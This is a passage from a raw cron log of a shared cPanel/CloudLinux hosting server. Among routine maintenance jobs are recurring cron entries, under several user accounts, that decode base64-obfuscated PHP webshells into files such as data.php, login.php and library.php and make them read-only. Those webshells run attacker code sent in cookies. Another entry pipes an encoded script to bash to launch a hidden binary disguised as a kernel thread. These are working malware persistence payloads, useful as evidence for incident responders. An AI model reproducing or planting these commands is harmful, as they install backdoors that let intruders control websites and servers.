Wx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:59:01 medusa CROND[9126]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:59:01 medusa CROND[9134]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:00:01 medusa CROND[25192]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 12:00:01 medusa CROND[25200]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:00:01 medusa CROND[25245]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 12:00:01 medusa CROND[25267]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 12:00:01 medusa CROND[25484]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 12:00:01 medusa CROND[25493]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 12:00:02 medusa CROND[25828]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 12:00:02 medusa CROND[25831]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 12:00:02 medusa CROND[25833]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 12:00:02 medusa CROND[25837]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  2 12:00:02 medusa CROND[25838]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 12:00:02 medusa CROND[25839]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 12:00:02 medusa CROND[25832]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 12:00:02 medusa CROND[25849]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Mar  2 12:00:02 medusa CROND[25865]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 12:00:02 medusa CROND[25860]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  2 12:00:02 medusa CROND[25868]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/ot/cron/email_overdue_tickets.php > /dev/null)
Mar  2 12:00:02 medusa CROND[25870]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  2 12:00:02 medusa CROND[25866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:00:02 medusa CROND[25854]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Mar  2 12:00:02 medusa CROND[25886]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:00:02 medusa CROND[25885]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 12:00:02 medusa CROND[25884]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 12:00:02 medusa CROND[25887]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 12:00:02 medusa CROND[25890]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 12:00:02 medusa CROND[25888]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  2 12:00:02 medusa CROND[25905]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:00:02 medusa CROND[25906]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 12:00:02 medusa CROND[25867]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  2 12:00:02 medusa CROND[25908]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:00:02 medusa CROND[25907]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:00:02 medusa CROND[25912]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 12:00:02 medusa CROND[25914]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:00:02 medusa CROND[25919]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Mar  2 12:00:02 medusa CROND[25920]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:00:02 medusa CROND[25921]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 12:00:02 medusa CROND[25939]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 12:00:02 medusa CROND[25941]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:00:02 medusa CROND[25910]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:00:02 medusa CROND[25944]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:00:02 medusa CROND[25943]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 12:01:01 medusa CROND[13534]: (root) CMD (run-parts /etc/cron.hourly)
Mar  2 12:01:01 medusa run-parts(/etc/cron.hourly)[13534]: starting 0anacron
Mar  2 12:01:01 medusa run-parts(/etc/cron.hourly)[13554]: finished 0anacron
Mar  2 12:01:01 medusa CROND[13577]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:01:02 medusa CROND[13822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:01:02 medusa CROND[13830]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 12:01:02 medusa CROND[13831]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:01:02 medusa CROND[13832]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:01:02 medusa CROND[13833]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:01:02 medusa CROND[13834]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
